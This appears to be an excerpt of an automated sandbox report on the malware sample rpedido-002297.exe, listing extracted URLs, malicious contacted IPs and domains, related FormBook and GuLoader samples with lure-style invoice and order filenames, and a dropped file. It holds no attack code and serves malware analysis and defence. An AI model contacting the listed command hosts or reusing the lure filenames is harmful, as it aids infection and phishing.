http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	rpedido-002297.exe, 00000001.00000001.11333413341.0000000000626000.00000020.00000001.01000000.00000007.sdmp	false	unknown
https://www.imena.ua/hosting	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://www.gopher.ftp://ftp.	rpedido-002297.exe, 00000001.00000001.11333413341.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	unknown
http://www.030002626.xyz/cgi-sys/suspendedpage.cgi?SLTxDJ=EhbzRBRYrjyKBBl3aRsEbBXbhOXLjCE10r	sethc.exe, 00000003.00000002.15399759250.0000000006B8E000.00000004.10000000.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.0000000004A4E000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://www.google.com	rpedido-002297.exe, 00000001.00000003.11383621777.0000000002204000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://domaincntrol.com/?orighost=	sethc.exe, 00000003.00000002.15399759250.0000000005BDA000.00000004.10000000.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.0000000003A9A000.00000004.00000001.00040000.00000000.sdmp	false	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	rpedido-002297.exe, 00000001.00000001.11333413341.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	sethc.exe, 00000003.00000003.11927048335.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, 7831-51J.3.dr	false	unknown
https://drive.google.com/	rpedido-002297.exe, 00000001.00000002.11728203940.0000000002196000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11728203940.0000000002163000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/domains/prices	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	rpedido-002297.exe, 00000001.00000001.11333413341.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	unknown
https://www.imena.ua/ua	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://partner.mirohost.net	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://rbseating.shop/39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS	sethc.exe, 00000003.00000002.15399759250.00000000058B6000.00000004.10000000.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.0000000003776000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/domains/premium-domains	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://apis.google.com	rpedido-002297.exe, 00000001.00000003.11383621777.0000000002204000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/blog/	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://ocsp.quovadisoffshore.com0	rpedido-002297.exe, 00000001.00000003.11694636622.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11412695700.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635731885.00000000021B2000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635558395.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635980291.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11728505838.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635471965.00000000021BB000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11383352410.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635312121.00000000021B6000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635883527.00000000021BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/datacenter	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/domains/regtm	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/how-search	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/job	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://drive.google.com/:	rpedido-002297.exe, 00000001.00000002.11728203940.0000000002163000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	sethc.exe, 00000003.00000003.11927048335.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, 7831-51J.3.dr	false	unknown
http://www.nuvsgloves.shop	ffHgJPmoWftQT.exe, 00000004.00000002.16210012048.0000000001323000.00000040.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/contact	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/en	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://www.ix.net.ua/ru	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://img.imena.ua/css/media-set.css	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	7831-51J.3.dr	false	unknown
https://mail.mirohost.net	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://drive.usercontent.google.com/	rpedido-002297.exe, 00000001.00000003.11694636622.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11412695700.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635731885.00000000021B2000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635558395.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635980291.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11728505838.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635471965.00000000021BB000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635312121.00000000021B6000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635883527.00000000021BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/help	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://nsis.sf.net/NSIS_ErrorError	rpedido-002297.exe	false	unknown
https://www.ecosia.org/newtab/	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://control.imena.ua/login.php?lang=2	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://control.mirohost.net/auth/login.php?lang=ru	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/ru	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/whois.php?domain=spectre.center	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/check-domain	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/payments	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/servers	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://ogp.me/ns#	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	rpedido-002297.exe, 00000001.00000001.11333413341.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false	unknown
http://www.quovadis.bm0	rpedido-002297.exe, 00000001.00000003.11694636622.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11412695700.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635731885.00000000021B2000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635558395.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635980291.00000000021BE000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11728505838.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635471965.00000000021BB000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11383352410.00000000021BF000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635312121.00000000021B6000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635883527.00000000021BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/check-domain?step=transfer	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
http://schema.org/Organization	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua	firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gemini.google.com/app?q=	sethc.exe, 00000003.00000002.15401206661.0000000007CDF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii	sethc.exe, 00000003.00000002.15399759250.0000000005724000.00000004.10000000.00040000.00000000.sdmp, sethc.exe, 00000003.00000002.15401072635.0000000007A10000.00000004.00000800.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16211745821.00000000035E4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.12030906579.00000000326F4000.00000004.80000000.00040000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.223.44.195	kerennih31.click	United States	8100	ASN-QUADRANET-GLOBALUS	true
65.21.196.90	030002626.xyz	United States	199592	CP-ASDE	true
209.74.64.189	www.guvosh.info	United States	31744	MULTIBAND-NEWHOPEUS	true
162.250.125.14	rbseating.shop	United States	19318	IS-AS-1US	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	true
142.250.80.78	drive.google.com	United States	15169	GOOGLEUS	false
64.225.91.73	www.bejho.net	United States	14061	DIGITALOCEAN-ASNUS	true
195.110.124.133	nidedabeille.net	Italy	39729	REGISTER-ASIT	true
103.149.183.47	ngsafh.yiqingkepa.com	unknown	140027	IDNIC-RSI-AS-IDPTRuangSiberIndonesiaID	true
156.227.17.86	www.my1pgz.pro	Seychelles	40065	CNSERVERSUS	true
93.125.99.74	casadisole.org	Belarus	6697	BELPAK-ASBELPAKBY	true
52.223.13.41	www.diterra.shop	United States	8987	AMAZONEXPANSIONGB	true
176.123.9.220	pqoff.cyou	Moldova Republic of	200019	ALEXHOSTMD	true
5.39.10.93	www.spectre.center	France	16276	OVHFR	true
3.33.130.190	nuvsgloves.shop	United States	8987	AMAZONEXPANSIONGB	true
142.250.176.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525122
Start date and time:	2024-10-03 18:08:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	3
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	rpedido-002297.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/9@19/16
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 71% Number of executed functions: 79 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, svchost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rpedido-002297.exe

Simulations

Behavior and APIs

Time	Type	Description
12:11:47	API Interceptor	31836240x Sleep call for process: sethc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
65.21.196.90	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.030002803.xyz/l4gu/
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.030002837.xyz/zl45/
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/7b6l/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.030003302.xyz/vkua/
	PO2-2401-0016 (TR).exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/ivyl/
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	www.030003112.xyz/dk22/
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/zvc6/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/tmpg/
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/zvc6/
	doc330391202408011.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/oap7/
85.159.66.93	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	www.aqvaest.com/t9om/
	ORIGINAL INVOICE COAU7230734298.pdf.exe	Get hash	malicious	FormBook	Browse	www.kartal-nakliyat.xyz/n8ew/
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.restobarbebek.xyz/ym4w/
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.restobarbebek.xyz/vyi4/
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	www.sppsuperplast.online/zmf1/
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	www.sppsuperplast.online/zmf1/
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	www.mudanya-nakliyat.xyz/51hg/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.sailnway.net/lrst/
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.farukugurluakdogan.xyz/fdkj/
	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	www.magmadokum.com/fo8o/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.spectre.center	PO#001498.exe	Get hash	malicious	FormBook	Browse	5.39.10.93
natroredirect.natrocdn.com	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	ORIGINAL INVOICE COAU7230734298.pdf.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	85.159.66.93

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CP-ASDE	https://www.elightsailorsbank.uksfholdings.com/	Get hash	malicious	Unknown	Browse	65.21.85.206
	044f.pdf.scr	Get hash	malicious	RMSRemoteAdmin	Browse	65.21.245.7
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	https://quatangff-garena.pw.io.vn/	Get hash	malicious	HTMLPhisher	Browse	65.21.235.194
	file.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	65.21.18.51
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	https://claim.eventsmidasbuys.com/	Get hash	malicious	HTMLPhisher	Browse	65.21.235.194
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	65.21.18.51
IS-AS-1US	24X4tzJIiU.exe	Get hash	malicious	Unknown	Browse	74.50.84.181
	duxA5P4vqE.exe	Get hash	malicious	Unknown	Browse	74.50.84.181
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	162.220.166.184
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	162.220.166.184
	https://cumonecumall.com/?tgaficro=aa6ca3230027edf772fbf6d355a8a93e4088a24800997b7b19a8eb4071188a24b1c94854a55c607abc04079f5ff46a3546a43c2ec2696476011777d6ea677911	Get hash	malicious	HTMLPhisher	Browse	67.211.216.12
	https://www.evernote.com/shard/s433/sh/cd554aa7-d510-876d-ce02-db0fba65d77c/I4fSlItksYIOuHhg8--oCkqMbxKXEunbnmkr-lyZ-lZ4LCf9NUjWg7t4Xw	Get hash	malicious	HTMLPhisher	Browse	205.209.99.218
	PROFORMA INVOICE.xls	Get hash	malicious	FormBook	Browse	74.50.84.122
	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	162.250.126.19
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	162.250.126.5
	https://dlupload.com/filedetail/1967602657	Get hash	malicious	Unknown	Browse	192.64.83.174
MULTIBAND-NEWHOPEUS	SEY4MER_SWIFT0002_3U782_AKI3892_475_3Y54_N023_3U987_08HNF_ADM48.exe	Get hash	malicious	Unknown	Browse	209.74.95.146
	SEY4MER_SWIFT0002_3U782_AKI3892_475_3Y54_N023_3U987_08HNF_ADM48.exe	Get hash	malicious	Unknown	Browse	209.74.95.146
	PO23100072.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	PO-000001488.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	List of Items0001.doc.exe	Get hash	malicious	FormBook, GuLoader	Browse	209.74.95.29
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	Untitled.eml	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	209.74.66.140
	Untitled.eml	Get hash	malicious	Unknown	Browse	209.74.66.140
	EF520_B18Payment_2600_D3781_N3895_L1029_H482_X4782_E3819.exe	Get hash	malicious	Unknown	Browse	209.74.95.146
ASN-QUADRANET-GLOBALUS	PO906-645S790768.xlam.xlsx	Get hash	malicious	Unknown	Browse	66.63.187.171
	hesaphareketi__20241001.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	novo.ppc440fp.elf	Get hash	malicious	Mirai, Moobot	Browse	185.121.176.226
	Quote List.scr.exe	Get hash	malicious	XenoRAT	Browse	66.63.168.142
	58ADE05412907F657812BDA267C43288EA79418091.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	66.63.187.123
	New Order.doc	Get hash	malicious	Snake Keylogger	Browse	66.63.187.123
	http://telegram.beethovenstore.com/	Get hash	malicious	Unknown	Browse	104.247.162.201
	https://83153.cc/	Get hash	malicious	Unknown	Browse	27.0.235.36
	0225139776.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	66.63.187.123
	http://bet938r.com/	Get hash	malicious	Unknown	Browse	27.0.235.160

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	app__v7.5.3_.msi	Get hash	malicious	Unknown	Browse	142.250.176.193 142.250.80.78
	WarzoneCheat.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.176.193 142.250.80.78
	FACTURA-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.176.193 142.250.80.78
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	142.250.176.193 142.250.80.78
	Layer.exe	Get hash	malicious	Unknown	Browse	142.250.176.193 142.250.80.78
	Layer.exe	Get hash	malicious	Unknown	Browse	142.250.176.193 142.250.80.78
	file.exe	Get hash	malicious	Vidar	Browse	142.250.176.193 142.250.80.78
	24100311.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.176.193 142.250.80.78
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	142.250.176.193 142.250.80.78
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	142.250.176.193 142.250.80.78

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nspC5B.tmp\System.dll	FACTURA-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse
	FACTURA-002297.exe	Get hash	malicious	GuLoader	Browse
	LisectAVT_2403002A_41.exe	Get hash	malicious	GuLoader	Browse
	LisectAVT_2403002A_41.exe	Get hash	malicious	GuLoader	Browse
	Inventory_list.img.exe	Get hash	malicious	GuLoader	Browse
	Inventory_list.img.exe	Get hash	malicious	GuLoader	Browse
	sF2s1EQU7T.exe	Get hash	malicious	Remcos, GuLoader	Browse
	sF2s1EQU7T.exe	Get hash	malicious	GuLoader	Browse
	xerox322200524.exe	Get hash	malicious	Remcos, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7831-51J

Process:	C:\Windows\SysWOW64\sethc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
